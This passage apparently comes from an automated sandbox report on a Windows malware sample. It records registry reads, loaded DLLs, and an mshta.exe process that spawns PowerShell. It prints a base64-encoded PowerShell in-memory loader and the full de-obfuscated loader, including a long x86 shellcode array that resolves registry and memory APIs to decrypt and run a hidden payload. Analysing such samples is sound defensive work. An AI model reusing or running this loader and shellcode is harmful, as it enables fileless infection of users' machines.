4ODAsMHgzMywweDYxLDB4OTIsMHgyMywweDc0LDwjaGIjPjB4OTcsMHgwNiwweDExLDB4OUYsMHgzNywweEZFLDB4Q0YsMHgyNCwweDVGLDB4NzcsMHgwNCwweDhCLDB4MDUsMHg2QiwweDYxLDB4MEQsMHg5NCwweDc4LDB4MDksMHg2MSwweEMzLDB4NEEsMHhEOSwweDNFLDB4OUIsMHg1QiwweDZBLDB4MjEsMHgyRSwweERCLDB4QTMsMHg1QiwweDgwLDB4QkUsMHg0OCwweDhBLDB4OEUsMHg0MiwweEQwLDB4RTYsMHg4OSwweDg0LDB4NjYsMHgxNiwweDlELDwjamUjPjB4REIsMHhGMywweDZCLDB4RTYsMHgxOSwweDg1LDB4QzIsMHg3MywweEVFLDB4N0QsMHg2NywweDYyLDB4MDcsMHg0RCwweEE3LDB4ODYsMHhBOSwweEI1LDB4MEYsMHgyOCwweERDLDB4Q0MsMHg2NCwweEI5LDB4NzAsMHgzQiwweEUyLDB4QTQsMHg2MiwweDdGLDB4NTYsPCNpYSM+MHg4MCwweDc5LDB4MTksMHgwQSwweDYyLDB4MUUsMHhFRiwweEE2LDB4MDcsMHhCOSwweDY3LDB4ODgsMHgwOSwweDJDOw0KI3djbG9kYmp5dncNCiRwcj0oW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoKGdwcm9jIGtlcm5lbDMyLmRsbCBWaXJ0dWFsQWxsb2MpLChnZGVsZWdhdGUgQChbSW50UHRyXSxbVUludDMyXSxbVUludDMyXSxbVUludDMyXSkgKFtVSW50MzJdKSkpKS5JbnZva2UoMCwkc2MzMi5MZW5ndGgsMHgzMDAwLDB4NDApOw0KI3l4aGNibHN3bg0KaWYoJHByIC1uZSAwKXskbWVtc2V0PShbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigoZ3Byb2MgbXN2Y3J0LmRsbCBtZW1zZXQpLChnZGVsZWdhdGUgQChbVUludDMyXSxbVUludDMyXSxbVUludDMyXSkgKFtJbnRQdHJdKSkpKTsNCiNiY2RxZmpvDQpmb3IgKCRpPTA7JGkgLWxlICgkc2MzMi5MZW5ndGgtMSk7JGkrKykgeyRtZW1zZXQuSW52b2tlKCgkcHIrJGkpLCAkc2MzMlskaV0sIDEpfTsNCiNldHNybGpjdA0KKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKChncHJvYyBrZXJuZWwzMi5kbGwgQ3JlYXRlVGhyZWFkKSwoZ2RlbGVnYXRlIEAoW0ludFB0cl0sW1VJbnQzMl0sW1VJbnQzMl0sW1VJbnQzMl0sW1VJbnQzMl0sW0ludFB0cl0pIChbSW50UHRyXSkpKSkuSW52b2tlKDAsMCwkcHIsJHByLDAsMCk7DQojY2ZxdmZwbXNsdA0KfXNsZWVwKDEyMDApO31jYXRjaHt9ZXhpdDsNCiNpcXZwbA0KI3Zhb3BieA0K')))"" Process "powershell.exe" (UID: 00000000-00003436) was launched with modified environment variables: "Path, NUMBER_OF_PROCESSORS"41:T97a,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR-SA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR-SA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG-BG") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG-BG") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA-ES") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA-ES") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-HANS") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-HANS") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-CN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-CN")42:Te69,Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003516-00000C2B-301613220] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00003516-00000C2B-303297833] Observed system executable string:"%WINDIR%\system32\Oleacc.dll" [Source: 00000000-00003516-00000C66-303743109] Observed system executable string:"%WINDIR%\system32\Msimtf.dll" [Source: 00000000-00003516-00000C66-303766580] Observed system executable string:"%WINDIR%\system32\DXGIDebug.dll" [Source: 00000000-00003516-00000C2B-329148710] Observed system executable string:"%WINDIR%\system32\D3D10Warp.dll" [Source: 00000000-00003516-00000C2B-331527197] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003436-00000C2B-305771311] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003436-00000C2B-306093360] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003436-00000C2B-306154318] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003436-00000C2B-306347585] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003436-00000C2B-306398885] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00003436-00000C2B-306488607] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003436-00000C2B-306593915] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003436-00000C2B-306641899] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00003436-00000C2B-306875709] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003436-00000C2B-307261899] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003436-00000C2B-307469761] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00003436-00000C2B-307521628] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00003436-00000C2B-307724484] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003436-00000C2B-308028030] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00003436-00000C2B-308056114] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00003436-00000C2B-308109886] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00003436-00000C2B-308249111] Observed system executable string:"%WINDIR%\system32\CRYPT32.dll" [Source: 00000000-00003436-00000C2B-308384823] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00003436-00000C2B-308392701]43:T49c9,Spawned process "mshta.exe" with commandline "javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell" ..." (UID: 00000000-00003516) Spawned process "powershell.exe" with commandline "iex $env:wsxx" (UID: 00000000-00003436, Additional Context: "#qfhoxbe sleep(15);try{ #skrw function gdelegate{ #pfgawpxmh Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #jcgapwmuqm $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #ivphaiwf $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #aoxyech $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #lepbihus return $TypeBuilder.CreateType();} #btjhd function gproc{ #uxuy Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #zmomkv $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #xynbxhjb $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #pvwb return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #evfgegxwm [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 0xFC 0x31 0xD2 0x64 0x8B 0x52 <#hoh#>0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 <#iox#>0x8B 0x72 0x28 <#fa#>0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 0xDB 0x89 0x5D 0xFC 0x5F 0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 <#wx#>0x01 0x00 <#zq#>0x00 0x8B 0x45 0xD0 <#xpo#>0x8B 0x40 0x78 0x03 0x45 0xFC 0x89 0x45 0xCC <#ui#>0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF <#vbu#>0xFF 0x33 0xF6 0x8B 0x45 <#skr#>0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 <#wxk#>0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 <#yed#>0x13 0x54 <#xp#>0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC <#pa#>0x81 0x39 0x4C <#lia#>0x6F 0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 <#dr#>0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 <#ych#>0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 <#yn#>0xCC <#sxp#>0x8B <#iv#>0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 <#ie#>0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 <#al#>0x03 0xD0 <#lfq#>0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 <#ig#>0x24 0x04 0x83 0xC4 0x08 0x66 0x8B <#az#>0x00 0x8B 0x55 <#ipb#>0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 <#mvj#>0x45 0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 <#tj#>0x6C 0x6C 0x6F 0x63 <#ht#>0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 <#oki#>0xFC 0x33 0xD2 0x52 <#fi#>0x50 0x8B 0xC6 0x03 <#ksb#>0xC0 0x99 0x03 0x04 0x24 0x13 <#vo#>0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 <#zh#>0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 <#riw#>0x45 <#dw#>0xA8 0x81 0x39 0x45 0x78 0x69 <#fdq#>0x74 0x75 <#ieh#>0x63 0x8D 0x41 0x04 0x81 0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 0x08 0x80 0x38 0x65 0x75 0x50 <#jo#>0x8D 0x41 0x09 0x80 0x38 0x73 0x75 <#qp#>0x48 <#yi#>0x8D 0x41 0x0A 0x80 0x38 0x73 <#td#>0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 <#yxw#>0x75 0x38 0x8B <#oeo#>0x45 0xCC 0x8B 0x40 0x24 0x03 <#jn#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 <#tl#>0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 <#djq#>0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF <#tc#>0xFF 0xFF 0x69 0xC6 <#myp#>0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A 0xFF <#cnl#>0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 <#owk#>0x8D 0x85 0x2F 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 <#xlr#>0xA4 0x89 <#zt#>0x5D 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 <#xzh#>0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 0x45 0xCC 0x8B <#kdl#>0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 <#ft#>0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 <#fbb#>0x38 0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 <#eue#>0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 0x41 0x75 0x3D 0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 <#doc#>0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 <#ez#>0x03 <#vq#>0xC0 <#ue#>0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 <#czu#>0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0xC3 0x89 <#ix#>0x45 0xB0 0x81 0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 <#yqh#>0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 0x56 0x61 0x6C 0x75 0x75 <#yos#>0x48 <#he#>0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 0xC1 0x10 0x80 0x39 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#xh#>0xC3 0x33 0xD2 0x52 0x50 <#bwt#>0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B <#pd#>0x00 0x8B 0x55 0xCC <#gn#>0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#cqz#>0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 0x89 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF <#jea#>0xFF 0xFF 0x05 0xE4 0x00 <#fa#>0x00 0x00 0x89 0x85 0x78 0xFF 0xFF <#bea#>0xFF 0x33 0xDB 0x33 0xC0 <#mbk#>0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 <#du#>0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 <#qll#>0x8B 0x85 0x7C <#mad#>0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 <#uuq#>0x00 0x30 <#vnr#>0x00 0x00 0x8B <#hum#>0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF <#hun#>0x55 0xA8 0x89 0x85 0x64 <#nag#>0xFF 0xFF 0xFF 0x83 0xBD 0x64 <#qy#>0xFF 0xFF 0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 <#ue#>0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 <#lh#>0x8B 0x85 <#zl#>0x70 0xFF <#wm#>0xFF <#pci#>0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF <#lfb#>0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF <#is#>0x50 <#to#>0x68 <#ybv#>0x01 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 <#fmy#>0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#yh#>0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF <#oz#>0xFF 0xFF <#jh#>0x50 0xFF 0x55 0xAC 0x85 <#oi#>0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 <#jsu#>0x89 <#mm#>0x85 0x64 <#rq#>0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF 0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF 0xFF <#sv#>0xFF <#qjn#>0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 <#ivm#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 <#tc#>0x70 0xFF 0xFF 0xFF <#yqj#>0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x84 <#nd#>0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 <#vpy#>0x8B 0x85 0x7C 0xFF 0xFF 0xFF <#qyp#>0x8B 0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF <#rfq#>0xFF 0x50 <#pv#>0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x33 0xF6 0x8D 0x8D 0x00 <#hzg#>0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 <#ga#>0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C <#pi#>0xFF 0xFF <#fh#>0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 0xD2 0xF7 0xF7 0x33 0xC0 0x8A 0x84 0x15 0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 <#vp#>0x8B 0x94 0x9D 0x00 0xFB 0xFF <#eic#>0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0x9D <#mp#>0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB <#ap#>0x33 0xFF 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF <#vh#>0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF 0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF 0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF 0xFF 0x8B 0x85 0x60 <#jba#>0xFF 0xFF 0xFF 0x50 <#zq#>0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0xFF 0x95 0x78 <#hie#>0xFF 0xFF 0xFF 0xEB 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x48 0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 <#run#>0xFB 0xFF 0xFF 0x81 <#rlp#>0xE7 0xFF 0x00 0x00 0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B 0x94 0xBD 0x00 0xFB 0xFF <#rum#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 